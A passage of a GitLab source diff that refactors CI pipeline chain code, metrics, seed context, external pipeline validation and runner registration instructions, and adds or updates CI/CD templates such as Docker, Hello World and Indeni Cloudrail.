@@ -12,7 +12,8 @@ module Gitlab
end
pipeline.add_error_message(message)
- pipeline.drop!(drop_reason) if drop_reason && persist_pipeline?
+
+ drop_pipeline!(drop_reason)
# TODO: consider not to rely on AR errors directly as they can be
# polluted with other unrelated errors (e.g. state machine)
@@ -24,8 +25,23 @@ module Gitlab
pipeline.add_warning_message(message)
end
- def persist_pipeline?
- command.save_incompleted && !pipeline.readonly?
+ private
+
+ def drop_pipeline!(drop_reason)
+ return if pipeline.readonly?
+
+ if drop_reason && command.save_incompleted
+ if Feature.enabled?(:ci_pipeline_ensure_iid_on_drop, pipeline.project, default_enabled: :yaml)
+ # Project iid must be called outside a transaction, so we ensure it is set here
+ # otherwise it may be set within the state transition transaction of the drop! call
+ # which it will lock the InternalId row for the whole transaction
+ pipeline.ensure_project_iid!
+ end
+
+ pipeline.drop!(drop_reason)
+ else
+ command.increment_pipeline_failure_reason_counter(drop_reason)
+ end
end
end
end
diff --git a/lib/gitlab/ci/pipeline/chain/metrics.rb b/lib/gitlab/ci/pipeline/chain/metrics.rb
index 0d7449813b4..b17ae77d445 100644
--- a/lib/gitlab/ci/pipeline/chain/metrics.rb
+++ b/lib/gitlab/ci/pipeline/chain/metrics.rb
@@ -14,7 +14,7 @@ module Gitlab
end
def counter
- ::Gitlab::Ci::Pipeline::Metrics.new.pipelines_created_counter
+ ::Gitlab::Ci::Pipeline::Metrics.pipelines_created_counter
end
end
end
diff --git a/lib/gitlab/ci/pipeline/chain/pipeline/process.rb b/lib/gitlab/ci/pipeline/chain/pipeline/process.rb
index 1eb7474e915..c1b6dfb7e36 100644
--- a/lib/gitlab/ci/pipeline/chain/pipeline/process.rb
+++ b/lib/gitlab/ci/pipeline/chain/pipeline/process.rb
@@ -8,9 +8,7 @@ module Gitlab
# After pipeline has been successfully created we can start processing it.
class Process < Chain::Base
def perform!
- ::Ci::ProcessPipelineService
- .new(@pipeline)
- .execute
+ ::Ci::InitialPipelineProcessWorker.perform_async(pipeline.id)
end
def break?
diff --git a/lib/gitlab/ci/pipeline/chain/seed.rb b/lib/gitlab/ci/pipeline/chain/seed.rb
index 7b537125b9b..66fc6741252 100644
--- a/lib/gitlab/ci/pipeline/chain/seed.rb
+++ b/lib/gitlab/ci/pipeline/chain/seed.rb
@@ -11,6 +11,10 @@ module Gitlab
def perform!
raise ArgumentError, 'missing YAML processor result' unless @command.yaml_processor_result
+ if ::Feature.enabled?(:ci_workflow_rules_variables, pipeline.project, default_enabled: :yaml)
+ raise ArgumentError, 'missing workflow rules result' unless @command.workflow_rules_result
+ end
+
# Allocate next IID. This operation must be outside of transactions of pipeline creations.
pipeline.ensure_project_iid!
pipeline.ensure_ci_ref!
@@ -38,7 +42,21 @@ module Gitlab
def pipeline_seed
strong_memoize(:pipeline_seed) do
stages_attributes = @command.yaml_processor_result.stages_attributes
- Gitlab::Ci::Pipeline::Seed::Pipeline.new(pipeline, stages_attributes)
+ Gitlab::Ci::Pipeline::Seed::Pipeline.new(context, stages_attributes)
+ end
+ end
+
+ def context
+ Gitlab::Ci::Pipeline::Seed::Context.new(pipeline, root_variables: root_variables)
+ end
+
+ def root_variables
+ if ::Feature.enabled?(:ci_workflow_rules_variables, pipeline.project, default_enabled: :yaml)
+ ::Gitlab::Ci::Variables::Helpers.merge_variables(
+ @command.yaml_processor_result.root_variables, @command.workflow_rules_result.variables
+ )
+ else
+ @command.yaml_processor_result.root_variables
end
end
end
diff --git a/lib/gitlab/ci/pipeline/chain/validate/external.rb b/lib/gitlab/ci/pipeline/chain/validate/external.rb
index d056501a6d3..6149d2f04d7 100644
--- a/lib/gitlab/ci/pipeline/chain/validate/external.rb
+++ b/lib/gitlab/ci/pipeline/chain/validate/external.rb
@@ -10,77 +10,116 @@ module Gitlab
InvalidResponseCode = Class.new(StandardError)
- VALIDATION_REQUEST_TIMEOUT = 5
+ DEFAULT_VALIDATION_REQUEST_TIMEOUT = 5
+ ACCEPTED_STATUS = 200
+ DOT_COM_REJECTED_STATUS = 406
+ GENERAL_REJECTED_STATUS = (400..499).freeze
def perform!
+ return unless enabled?
+
pipeline_authorized = validate_external
log_message = pipeline_authorized ? 'authorized' : 'not authorized'
- Gitlab::AppLogger.info(message: "Pipeline #{log_message}", project_id: @pipeline.project.id, user_id: @pipeline.user.id)
+ Gitlab::AppLogger.info(message: "Pipeline #{log_message}", project_id: project.id, user_id: current_user.id)
error('External validation failed', drop_reason: :external_validation_failure) unless pipeline_authorized
end
def break?
- @pipeline.errors.any?
+ pipeline.errors.any?
end
private
+ def enabled?
+ return true unless Gitlab.com?
+
+ ::Feature.enabled?(:ci_external_validation_service, project, default_enabled: :yaml)
+ end
+
def validate_external
return true unless validation_service_url
# 200 - accepted
- # 4xx - not accepted
+ # 406 - not accepted on GitLab.com
+ # 4XX - not accepted for other installations
# everything else - accepted and logged
response_code = validate_service_request.code
case response_code
- when 200
+ when ACCEPTED_STATUS
true
- when 400..499
+ when rejected_status
false
else
raise InvalidResponseCode, "Unsupported response code received from Validation Service: #{response_code}"
end
rescue => ex
- Gitlab::ErrorTracking.track_exception(ex)
+ Gitlab::ErrorTracking.track_exception(ex, project_id: project.id)
true
end
+ def rejected_status
+ if Gitlab.com?
+ DOT_COM_REJECTED_STATUS
+ else
+ GENERAL_REJECTED_STATUS
+ end
+ end
+
def validate_service_request
+ headers = {
+ 'X-Gitlab-Correlation-id' => Labkit::Correlation::CorrelationId.current_id,
+ 'X-Gitlab-Token' => validation_service_token
+ }.compact
+
Gitlab::HTTP.post(
- validation_service_url, timeout: VALIDATION_REQUEST_TIMEOUT,
- body: validation_service_payload(@pipeline, @command.yaml_processor_result.stages_attributes)
+ validation_service_url, timeout: validation_service_timeout,
+ headers: headers,
+ body: validation_service_payload.to_json
)
end
+ def validation_service_timeout
+ timeout = Gitlab::CurrentSettings.external_pipeline_validation_service_timeout || ENV['EXTERNAL_VALIDATION_SERVICE_TIMEOUT'].to_i
+ return timeout if timeout > 0
+
+ DEFAULT_VALIDATION_REQUEST_TIMEOUT
+ end
+
def validation_service_url
- ENV['EXTERNAL_VALIDATION_SERVICE_URL']
+ Gitlab::CurrentSettings.external_pipeline_validation_service_url || ENV['EXTERNAL_VALIDATION_SERVICE_URL']
+ end
+
+ def validation_service_token
+ Gitlab::CurrentSettings.external_pipeline_validation_service_token || ENV['EXTERNAL_VALIDATION_SERVICE_TOKEN']
end
- def validation_service_payload(pipeline, stages_attributes)
+ def validation_service_payload
{
project: {
- id: pipeline.project.id,
- path: pipeline.project.full_path
+ id: project.id,
+ path: project.full_path,
+ created_at: project.created_at&.iso8601
},
user: {
- id: pipeline.user.id,
- username: pipeline.user.username,
- email: pipeline.user.email
+ id: current_user.id,
+ username: current_user.username,
+ email: current_user.email,
+ created_at: current_user.created_at&.iso8601
},
pipeline: {
sha: pipeline.sha,
ref: pipeline.ref,
type: pipeline.source
},
- builds: builds_validation_payload(stages_attributes)
- }.to_json
+ builds: builds_validation_payload
+ }
end
- def builds_validation_payload(stages_attributes)
- stages_attributes.map { |stage| stage[:builds] }.flatten
+ def builds_validation_payload
+ stages_attributes.flat_map { |stage| stage[:builds] }
.map(&method(:build_validation_payload))
end
@@ -97,9 +136,15 @@ module Gitlab
].flatten.compact
}
end
+
+ def stages_attributes
+ command.yaml_processor_result.stages_attributes
+ end
end
end
end
end
end
end
+
+Gitlab::Ci::Pipeline::Chain::Validate::External.prepend_if_ee('EE::Gitlab::Ci::Pipeline::Chain::Validate::External')
diff --git a/lib/gitlab/ci/pipeline/metrics.rb b/lib/gitlab/ci/pipeline/metrics.rb
index c77f4dcca5a..6cb6fd3920d 100644
--- a/lib/gitlab/ci/pipeline/metrics.rb
+++ b/lib/gitlab/ci/pipeline/metrics.rb
@@ -4,55 +4,57 @@ module Gitlab
module Ci
module Pipeline
class Metrics
- include Gitlab::Utils::StrongMemoize
+ def self.pipeline_creation_duration_histogram
+ name = :gitlab_ci_pipeline_creation_duration_seconds
+ comment = 'Pipeline creation duration'
+ labels = {}
+ buckets = [0.01, 0.05, 0.1, 0.5, 1.0, 2.0, 5.0, 20.0, 50.0, 240.0]
- def pipeline_creation_duration_histogram
- strong_memoize(:pipeline_creation_duration_histogram) do
- name = :gitlab_ci_pipeline_creation_duration_seconds
- comment = 'Pipeline creation duration'
- labels = {}
- buckets = [0.01, 0.05, 0.1, 0.5, 1.0, 2.0, 5.0, 20.0, 50.0, 240.0]
+ ::Gitlab::Metrics.histogram(name, comment, labels, buckets)
+ end
+
+ def self.pipeline_size_histogram
+ name = :gitlab_ci_pipeline_size_builds
+ comment = 'Pipeline size'
+ labels = { source: nil }
+ buckets = [0, 1, 5, 10, 20, 50, 100, 200, 500, 1000]
+
+ ::Gitlab::Metrics.histogram(name, comment, labels, buckets)
+ end
+
+ def self.pipeline_processing_events_counter
+ name = :gitlab_ci_pipeline_processing_events_total
+ comment = 'Total amount of pipeline processing events'
- ::Gitlab::Metrics.histogram(name, comment, labels, buckets)
- end
+ Gitlab::Metrics.counter(name, comment)
end
- def pipeline_size_histogram
- strong_memoize(:pipeline_size_histogram) do
- name = :gitlab_ci_pipeline_size_builds
- comment = 'Pipeline size'
- labels = { source: nil }
- buckets = [0, 1, 5, 10, 20, 50, 100, 200, 500, 1000]
+ def self.pipelines_created_counter
+ name = :pipelines_created_total
+ comment = 'Counter of pipelines created'
- ::Gitlab::Metrics.histogram(name, comment, labels, buckets)
- end
+ Gitlab::Metrics.counter(name, comment)
end
- def pipeline_processing_events_counter
- strong_memoize(:pipeline_processing_events_counter) do
- name = :gitlab_ci_pipeline_processing_events_total
- comment = 'Total amount of pipeline processing events'
+ def self.legacy_update_jobs_counter
+ name = :ci_legacy_update_jobs_as_retried_total
+ comment = 'Counter of occurrences when jobs were not being set as retried before update_retried'
- Gitlab::Metrics.counter(name, comment)
- end
+ Gitlab::Metrics.counter(name, comment)
end
- def pipelines_created_counter
- strong_memoize(:pipelines_created_count) do
- name = :pipelines_created_total
- comment = 'Counter of pipelines created'
+ def self.pipeline_failure_reason_counter
+ name = :gitlab_ci_pipeline_failure_reasons
+ comment = 'Counter of pipeline failure reasons'
- Gitlab::Metrics.counter(name, comment)
- end
+ Gitlab::Metrics.counter(name, comment)
end
- def legacy_update_jobs_counter
- strong_memoize(:legacy_update_jobs_counter) do
- name = :ci_legacy_update_jobs_as_retried_total
- comment = 'Counter of occurrences when jobs were not being set as retried before update_retried'
+ def self.job_failure_reason_counter
+ name = :gitlab_ci_job_failure_reasons
+ comment = 'Counter of job failure reasons'
- Gitlab::Metrics.counter(name, comment)
- end
+ Gitlab::Metrics.counter(name, comment)
end
end
end
diff --git a/lib/gitlab/ci/pipeline/seed/build.rb b/lib/gitlab/ci/pipeline/seed/build.rb
index 11b01822e4b..39dee7750d6 100644
--- a/lib/gitlab/ci/pipeline/seed/build.rb
+++ b/lib/gitlab/ci/pipeline/seed/build.rb
@@ -11,12 +11,15 @@ module Gitlab
delegate :dig, to: :@seed_attributes
- def initialize(pipeline, attributes, previous_stages)
- @pipeline = pipeline
+ def initialize(context, attributes, previous_stages)
+ @context = context
+ @pipeline = context.pipeline
@seed_attributes = attributes
@previous_stages = previous_stages
@needs_attributes = dig(:needs_attributes)
@resource_group_key = attributes.delete(:resource_group_key)
+ @job_variables = @seed_attributes.delete(:job_variables)
+ @root_variables_inheritance = @seed_attributes.delete(:root_variables_inheritance) { true }
@using_rules = attributes.key?(:rules)
@using_only = attributes.key?(:only)
@@ -29,7 +32,9 @@ module Gitlab
@rules = Gitlab::Ci::Build::Rules
.new(attributes.delete(:rules), default_when: 'on_success')
@cache = Gitlab::Ci::Build::Cache
- .new(attributes.delete(:cache), pipeline)
+ .new(attributes.delete(:cache), @pipeline)
+
+ recalculate_yaml_variables!
end
def name
@@ -206,6 +211,14 @@ module Gitlab
{ options: { allow_failure_criteria: nil } }
end
+
+ def recalculate_yaml_variables!
+ return unless ::Feature.enabled?(:ci_workflow_rules_variables, @pipeline.project, default_enabled: :yaml)
+
+ @seed_attributes[:yaml_variables] = Gitlab::Ci::Variables::Helpers.inherit_yaml_variables(
+ from: @context.root_variables, to: @job_variables, inheritance: @root_variables_inheritance
+ )
+ end
end
end
end
diff --git a/lib/gitlab/ci/pipeline/seed/context.rb b/lib/gitlab/ci/pipeline/seed/context.rb
new file mode 100644
index 00000000000..6194a78f682
--- /dev/null
+++ b/lib/gitlab/ci/pipeline/seed/context.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Ci
+ module Pipeline
+ module Seed
+ class Context
+ attr_reader :pipeline, :root_variables
+
+ def initialize(pipeline, root_variables: [])
+ @pipeline = pipeline
+ @root_variables = root_variables
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/ci/pipeline/seed/pipeline.rb b/lib/gitlab/ci/pipeline/seed/pipeline.rb
index da9d853cf68..e1a15fb8d5b 100644
--- a/lib/gitlab/ci/pipeline/seed/pipeline.rb
+++ b/lib/gitlab/ci/pipeline/seed/pipeline.rb
@@ -7,8 +7,8 @@ module Gitlab
class Pipeline
include Gitlab::Utils::StrongMemoize
- def initialize(pipeline, stages_attributes)
- @pipeline = pipeline
+ def initialize(context, stages_attributes)
+ @context = context
@stages_attributes = stages_attributes
end
@@ -37,7 +37,7 @@ module Gitlab
def stage_seeds
strong_memoize(:stage_seeds) do
seeds = @stages_attributes.inject([]) do |previous_stages, attributes|
- seed = Gitlab::Ci::Pipeline::Seed::Stage.new(@pipeline, attributes, previous_stages)
+ seed = Gitlab::Ci::Pipeline::Seed::Stage.new(@context, attributes, previous_stages)
previous_stages + [seed]
end
diff --git a/lib/gitlab/ci/pipeline/seed/stage.rb b/lib/gitlab/ci/pipeline/seed/stage.rb
index b600df2f656..c988ea10e41 100644
--- a/lib/gitlab/ci/pipeline/seed/stage.rb
+++ b/lib/gitlab/ci/pipeline/seed/stage.rb
@@ -10,13 +10,14 @@ module Gitlab
delegate :size, to: :seeds
delegate :dig, to: :seeds
- def initialize(pipeline, attributes, previous_stages)
- @pipeline = pipeline
+ def initialize(context, attributes, previous_stages)
+ @context = context
+ @pipeline = context.pipeline
@attributes = attributes
@previous_stages = previous_stages
@builds = attributes.fetch(:builds).map do |attributes|
- Seed::Build.new(@pipeline, attributes, previous_stages)
+ Seed::Build.new(context, attributes, previous_stages)
end
end
diff --git a/lib/gitlab/ci/queue/metrics.rb b/lib/gitlab/ci/queue/metrics.rb
index 5398c19e536..7ecb9a1db16 100644
--- a/lib/gitlab/ci/queue/metrics.rb
+++ b/lib/gitlab/ci/queue/metrics.rb
@@ -9,12 +9,12 @@ module Gitlab
QUEUE_DURATION_SECONDS_BUCKETS = [1, 3, 10, 30, 60, 300, 900, 1800, 3600].freeze
QUEUE_ACTIVE_RUNNERS_BUCKETS = [1, 3, 10, 30, 60, 300, 900, 1800, 3600].freeze
QUEUE_DEPTH_TOTAL_BUCKETS = [1, 2, 3, 5, 8, 16, 32, 50, 100, 250, 500, 1000, 2000, 5000].freeze
- QUEUE_SIZE_TOTAL_BUCKETS = [1, 5, 10, 50, 100, 500, 1000, 2000, 5000].freeze
- QUEUE_ITERATION_DURATION_SECONDS_BUCKETS = [0.1, 0.3, 0.5, 1, 5, 10, 30, 60, 180, 300].freeze
+ QUEUE_SIZE_TOTAL_BUCKETS = [1, 5, 10, 50, 100, 500, 1000, 2000, 5000, 7500, 10000, 15000, 20000].freeze
+ QUEUE_PROCESSING_DURATION_SECONDS_BUCKETS = [0.01, 0.05, 0.1, 0.3, 0.5, 1, 5, 10, 30, 60, 180, 300].freeze
METRICS_SHARD_TAG_PREFIX = 'metrics_shard::'
DEFAULT_METRICS_SHARD = 'default'
- JOBS_RUNNING_FOR_PROJECT_MAX_BUCKET = 5.freeze
+ JOBS_RUNNING_FOR_PROJECT_MAX_BUCKET = 5
OPERATION_COUNTERS = [
:build_can_pick,
@@ -94,13 +94,13 @@ module Gitlab
self.class.queue_depth_total.observe({ queue: queue }, size.to_f)
end
- def observe_queue_size(size_proc)
+ def observe_queue_size(size_proc, runner_type)
return unless Feature.enabled?(:gitlab_ci_builds_queuing_metrics, default_enabled: false)
- self.class.queue_size_total.observe({}, size_proc.call.to_f)
+ self.class.queue_size_total.observe({ runner_type: runner_type }, size_proc.call.to_f)
end
- def observe_queue_time
+ def observe_queue_time(metric, runner_type)
start_time = ::Gitlab::Metrics::System.monotonic_time
result = yield
@@ -108,7 +108,15 @@ module Gitlab
return result unless Feature.enabled?(:gitlab_ci_builds_queuing_metrics, default_enabled: false)
seconds = ::Gitlab::Metrics::System.monotonic_time - start_time
- self.class.queue_iteration_duration_seconds.observe({}, seconds.to_f)
+
+ case metric
+ when :process
+ self.class.queue_iteration_duration_seconds.observe({ runner_type: runner_type }, seconds.to_f)
+ when :retrieve
+ self.class.queue_retrieval_duration_seconds.observe({ runner_type: runner_type }, seconds.to_f)
+ else
+ raise ArgumentError unless Rails.env.production?
+ end
result
end
@@ -187,7 +195,18 @@ module Gitlab
strong_memoize(:queue_iteration_duration_seconds) do
name = :gitlab_ci_queue_iteration_duration_seconds
comment = 'Time it takes to find a build in CI/CD queue'
- buckets = QUEUE_ITERATION_DURATION_SECONDS_BUCKETS
+ buckets = QUEUE_PROCESSING_DURATION_SECONDS_BUCKETS
+ labels = {}
+
+ Gitlab::Metrics.histogram(name, comment, labels, buckets)
+ end
+ end
+
+ def self.queue_retrieval_duration_seconds
+ strong_memoize(:queue_retrieval_duration_seconds) do
+ name = :gitlab_ci_queue_retrieval_duration_seconds
+ comment = 'Time it takes to execute a SQL query to retrieve builds queue'
+ buckets = QUEUE_PROCESSING_DURATION_SECONDS_BUCKETS
labels = {}
Gitlab::Metrics.histogram(name, comment, labels, buckets)
diff --git a/lib/gitlab/ci/reports/codequality_reports.rb b/lib/gitlab/ci/reports/codequality_reports.rb
index 060a1e2399b..27c41c384b8 100644
--- a/lib/gitlab/ci/reports/codequality_reports.rb
+++ b/lib/gitlab/ci/reports/codequality_reports.rb
@@ -6,6 +6,7 @@ module Gitlab
class CodequalityReports
attr_reader :degradations, :error_message
+ SEVERITY_PRIORITIES = %w(blocker critical major minor info).map.with_index.to_h.freeze # { "blocker" => 0, "critical" => 1 ... }
CODECLIMATE_SCHEMA_PATH = Rails.root.join('app', 'validators', 'json_schemas', 'codeclimate.json').to_s
def initialize
@@ -29,12 +30,17 @@ module Gitlab
@degradations.values
end
+ def sort_degradations!
+ @degradations = @degradations.sort_by do |_fingerprint, degradation|
+ SEVERITY_PRIORITIES[degradation.dig(:severity)]
+ end.to_h
+ end
+
private
def valid_degradation?(degradation)
- JSON::Validator.validate!(CODECLIMATE_SCHEMA_PATH, degradation)
- rescue JSON::Schema::ValidationError => e
- set_error_message("Invalid degradation format: #{e.message}")
+ JSONSchemer.schema(Pathname.new(CODECLIMATE_SCHEMA_PATH)).valid?(degradation)
+ rescue StandardError => _
false
end
end
diff --git a/lib/gitlab/ci/reports/codequality_reports_comparer.rb b/lib/gitlab/ci/reports/codequality_reports_comparer.rb
index 10748b8ca02..e34d9675c10 100644
--- a/lib/gitlab/ci/reports/codequality_reports_comparer.rb
+++ b/lib/gitlab/ci/reports/codequality_reports_comparer.rb
@@ -7,6 +7,11 @@ module Gitlab
def initialize(base_report, head_report)
@base_report = base_report
@head_report = head_report
+
+ unless not_found?
+ @base_report.sort_degradations!
+ @head_report.sort_degradations!
+ end
end
def success?
diff --git a/lib/gitlab/ci/reports/test_failure_history.rb b/lib/gitlab/ci/reports/test_failure_history.rb
index c024e794ad5..37d0da38065 100644
--- a/lib/gitlab/ci/reports/test_failure_history.rb
+++ b/lib/gitlab/ci/reports/test_failure_history.rb
@@ -6,32 +6,32 @@ module Gitlab
class TestFailureHistory
include Gitlab::Utils::StrongMemoize
- def initialize(failed_test_cases, project)
- @failed_test_cases = build_map(failed_test_cases)
+ def initialize(failed_junit_tests, project)
+ @failed_junit_tests = build_map(failed_junit_tests)
@project = project
end
def load!
recent_failures_count.each do |key_hash, count|
- failed_test_cases[key_hash].set_recent_failures(count, project.default_branch_or_master)
+ failed_junit_tests[key_hash].set_recent_failures(count, project.default_branch_or_master)
end
end
private
- attr_reader :report, :project, :failed_test_cases
+ attr_reader :report, :project, :failed_junit_tests
def recent_failures_count
- ::Ci::TestCaseFailure.recent_failures_count(
+ ::Ci::UnitTestFailure.recent_failures_count(
project: project,
- test_case_keys: failed_test_cases.keys
+ unit_test_keys: failed_junit_tests.keys
)
end
- def build_map(test_cases)
+ def build_map(junit_tests)
{}.tap do |hash|
- test_cases.each do |test_case|
- hash[test_case.key] = test_case
+ junit_tests.each do |test|
+ hash[test.key] = test
end
end
end
diff --git a/lib/gitlab/ci/runner_instructions.rb b/lib/gitlab/ci/runner_instructions.rb
index dd0bfa768a8..365864d3317 100644
--- a/lib/gitlab/ci/runner_instructions.rb
+++ b/lib/gitlab/ci/runner_instructions.rb
@@ -51,10 +51,7 @@ module Gitlab
attr_reader :errors
- def initialize(current_user:, group: nil, project: nil, os:, arch:)
- @current_user = current_user
- @group = group
- @project = project
+ def initialize(os:, arch:)
@os = os
@arch = arch
@errors = []
@@ -77,7 +74,7 @@ module Gitlab
server_url = Gitlab::Routing.url_helpers.root_url(only_path: false)
runner_executable = environment[:runner_executable]
- "#{runner_executable} register --url #{server_url} --registration-token #{registration_token}"
+ "#{runner_executable} register --url #{server_url} --registration-token $REGISTRATION_TOKEN"
end
end
@@ -108,30 +105,6 @@ module Gitlab
def get_file(path)
File.read(Rails.root.join(path).to_s)
end
-
- def registration_token
- project_token || group_token || instance_token
- end
-
- def project_token
- return unless @project
- raise Gitlab::Access::AccessDeniedError unless can?(@current_user, :admin_pipeline, @project)
-
- @project.runners_token
- end
-
- def group_token
- return unless @group
- raise Gitlab::Access::AccessDeniedError unless can?(@current_user, :admin_group, @group)
-
- @group.runners_token
- end
-
- def instance_token
- raise Gitlab::Access::AccessDeniedError unless @current_user&.admin?
-
- Gitlab::CurrentSettings.runners_registration_token
- end
end
end
end
diff --git a/lib/gitlab/ci/status/build/failed.rb b/lib/gitlab/ci/status/build/failed.rb
index f6562737838..787dee3b267 100644
--- a/lib/gitlab/ci/status/build/failed.rb
+++ b/lib/gitlab/ci/status/build/failed.rb
@@ -26,7 +26,9 @@ module Gitlab
bridge_pipeline_is_child_pipeline: 'creation of child pipeline not allowed from another child pipeline',
downstream_pipeline_creation_failed: 'downstream pipeline can not be created',
secrets_provider_not_found: 'secrets provider can not be found',
- reached_max_descendant_pipelines_depth: 'reached maximum depth of child pipelines'
+ reached_max_descendant_pipelines_depth: 'reached maximum depth of child pipelines',
+ project_deleted: 'pipeline project was deleted',
+ user_blocked: 'pipeline user was blocked'
}.freeze
private_constant :REASONS
diff --git a/lib/gitlab/ci/templates/Android-Fastlane.gitlab-ci.yml b/lib/gitlab/ci/templates/Android-Fastlane.gitlab-ci.yml
index 5ebbbf15682..2ff36bcc657 100644
--- a/lib/gitlab/ci/templates/Android-Fastlane.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Android-Fastlane.gitlab-ci.yml
@@ -113,9 +113,10 @@ promoteBeta:
promoteProduction:
extends: .promote_job
stage: production
- # We only allow production promotion on `master` because
- # it has its own production scoped secret variables
+ # We only allow production promotion on the default branch because
+ # it has its own production scoped secret variables.
only:
- - master
+ variables:
+ - $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
script:
- bundle exec fastlane promote_beta_to_production
diff --git a/lib/gitlab/ci/templates/Docker.gitlab-ci.yml b/lib/gitlab/ci/templates/Docker.gitlab-ci.yml
index 15cdbf63cb1..d0c63ab6edf 100644
--- a/lib/gitlab/ci/templates/Docker.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Docker.gitlab-ci.yml
@@ -1,27 +1,31 @@
-docker-build-master:
- # Official docker image.
- image: docker:latest
- stage: build
- services:
- - docker:dind
- before_script:
- - docker login -u "$CI_REGISTRY_USER" -p "$CI_REGISTRY_PASSWORD" $CI_REGISTRY
- script:
- - docker build --pull -t "$CI_REGISTRY_IMAGE" .
- - docker push "$CI_REGISTRY_IMAGE"
- only:
- - master
-
+# Build a Docker image with CI/CD and push to the GitLab registry.
+# Docker-in-Docker documentation: https://docs.gitlab.com/ee/ci/docker/using_docker_build.html
+#
+# This template uses one generic job with conditional builds
+# for the default branch and all other (MR) branches.
docker-build:
- # Official docker image.
+ # Use the official docker image.
image: docker:latest
stage: build
services:
- docker:dind
before_script:
- docker login -u "$CI_REGISTRY_USER" -p "$CI_REGISTRY_PASSWORD" $CI_REGISTRY
+ # Default branch leaves tag empty (= latest tag)
+ # All other branches are tagged with the escaped branch name (commit ref slug)
script:
- - docker build --pull -t "$CI_REGISTRY_IMAGE:$CI_COMMIT_REF_SLUG" .
- - docker push "$CI_REGISTRY_IMAGE:$CI_COMMIT_REF_SLUG"
- except:
- - master
+ - |
+ if [[ "$CI_COMMIT_BRANCH" == "$CI_DEFAULT_BRANCH" ]]; then
+ tag=""
+ echo "Running on default branch '$CI_DEFAULT_BRANCH': tag = 'latest'"
+ else
+ tag=":$CI_COMMIT_REF_SLUG"
+ echo "Running on branch '$CI_COMMIT_BRANCH': tag = $tag"
+ fi
+ - docker build --pull -t "$CI_REGISTRY_IMAGE${tag}" .
+ - docker push "$CI_REGISTRY_IMAGE${tag}"
+ # Run this job in a branch where a Dockerfile exists
+ rules:
+ - if: $CI_COMMIT_BRANCH
+ exists:
+ - Dockerfile
diff --git a/lib/gitlab/ci/templates/Hello-World.gitlab-ci.yml b/lib/gitlab/ci/templates/Hello-World.gitlab-ci.yml
new file mode 100644
index 00000000000..90812083917
--- /dev/null
+++ b/lib/gitlab/ci/templates/Hello-World.gitlab-ci.yml
@@ -0,0 +1,9 @@
+# This file is a template demonstrating the `script` keyword.
+# Learn more about this keyword here: https://docs.gitlab.com/ee/ci/yaml/README.html#script
+
+# After committing this template, visit CI/CD > Jobs to see the script output.
+
+job:
+ script:
+ # provide a shell script as argument for this keyword.
+ - echo "Hello World"
diff --git a/lib/gitlab/ci/templates/Indeni.Cloudrail.gitlab-ci-.yml b/lib/gitlab/ci/templates/Indeni.Cloudrail.gitlab-ci-.yml
new file mode 100644
index 00000000000..c7fb1321055
--- /dev/null
+++ b/lib/gitlab/ci/templates/Indeni.Cloudrail.gitlab-ci-.yml
@@ -0,0 +1,91 @@
+# This template is provided and maintained by Indeni, an official Technology Partner with GitLab.
+# See https://about.gitlab.com/partners/technology-partners/#security for more information.
+
+# For more information about Indeni Cloudrail: https://indeni.com/cloudrail/
+#
+# This file shows an example of using Indeni Cloudrail with GitLab CI/CD.
+# It is not designed to be included in an existing CI/CD configuration with the "include:" keyword.
+# Documentation about this integration: https://indeni.com/doc-indeni-cloudrail/integrate-with-ci-cd/gitlab-instructions
+#
+# For an example of this used in a GitLab repository, see: https://gitlab.com/indeni/cloudrail-demo/-/blob/master/.gitlab-ci.yml
+
+# The sast-report output complies with GitLab's format. This report displays Cloudrail's
+# results in the Security tab in the pipeline view, if you have that feature enabled
+# (GitLab Ultimate only). Otherwise, Cloudrail generates a JUnit report, which displays
+# in the "Test summary" in merge requests.
+
+# Note that Cloudrail's input is the Terraform plan. That is why we've included in this
+# template an example of doing that. You are welcome to replace it with your own way
+# of generating a Terraform plan.
+
+# Before you can use this template, get a Cloudrail API key from the Cloudrail web
+# user interface. Save it as a CI/CD variable named CLOUDRAIL_API_KEY in your project
+# settings.
+
+variables:
+ TEST_ROOT: ${CI_PROJECT_DIR}/my_folder_with_terraform_content
+
+default:
+ before_script:
+ - cd ${CI_PROJECT_DIR}/my_folder_with_terraform_content
+
+stages:
+ - init_and_plan
+ - cloudrail
+
+init_and_plan:
+ stage: init_and_plan
+ image: registry.gitlab.com/gitlab-org/terraform-images/releases/0.13
+ rules:
+ - if: $SAST_DISABLED
+ when: never
+ - if: $CI_COMMIT_BRANCH
+ exists:
+ - '**/*.tf'
+ script:
+ - terraform init
+ - terraform plan -out=plan.out
+ artifacts:
+ name: "$CI_COMMIT_BRANCH-terraform_plan"
+ paths:
+ - ./**/plan.out
+ - ./**/.terraform
+
+cloudrail_scan:
+ stage: cloudrail
+ image: indeni/cloudrail-cli:1.2.44
+ rules:
+ - if: $SAST_DISABLED
+ when: never
+ - if: $CI_COMMIT_BRANCH
+ exists:
+ - '**/*.tf'
+ script:
+ - |
+ if [[ "${GITLAB_FEATURES}" == *"security_dashboard"* ]]; then
+ echo "You are licensed for GitLab Security Dashboards. Your scan results will display in the Security Dashboard."
+ cloudrail run --tf-plan plan.out \
+ --directory . \
+ --api-key ${CLOUDRAIL_API_KEY} \
+ --origin ci \
+ --build-link "$CI_PROJECT_URL/-/jobs/$CI_JOB_ID" \
+ --execution-source-identifier "$CI_COMMIT_BRANCH - $CI_JOB_ID" \
+ --output-format json-gitlab-sast \
+ --output-file ${CI_PROJECT_DIR}/cloudrail-sast-report.json \
+ --auto-approve
+ else
+ echo "Your scan results will display in the GitLab Test results visualization panel."
+ cloudrail run --tf-plan plan.out \
+ --directory . \
+ --api-key ${CLOUDRAIL_API_KEY} \
+ --origin ci \
+ --build-link "$CI_PROJECT_URL/-/jobs/$CI_JOB_ID" \
+ --execution-source-identifier "$CI_COMMIT_BRANCH - $CI_JOB_ID" \
+ --output-format junit \
+ --output-file ${CI_PROJECT_DIR}/cloudrail-junit-report.xml \
+ --auto-approve
+ fi
+ artifacts:
+ reports:
+ sast: cloudrail-sast-report.json
+ junit: cloudrail-junit-report.xml
diff --git a/lib/gitlab/ci/templates/Jobs/Browser-Performance-Testing.gitlab-ci.yml b/lib/gitlab/ci/templates/Jobs/Browser-Performance-Testing.gitlab-ci.yml
index 5edb26a0b56..01907ef9e2e 100644
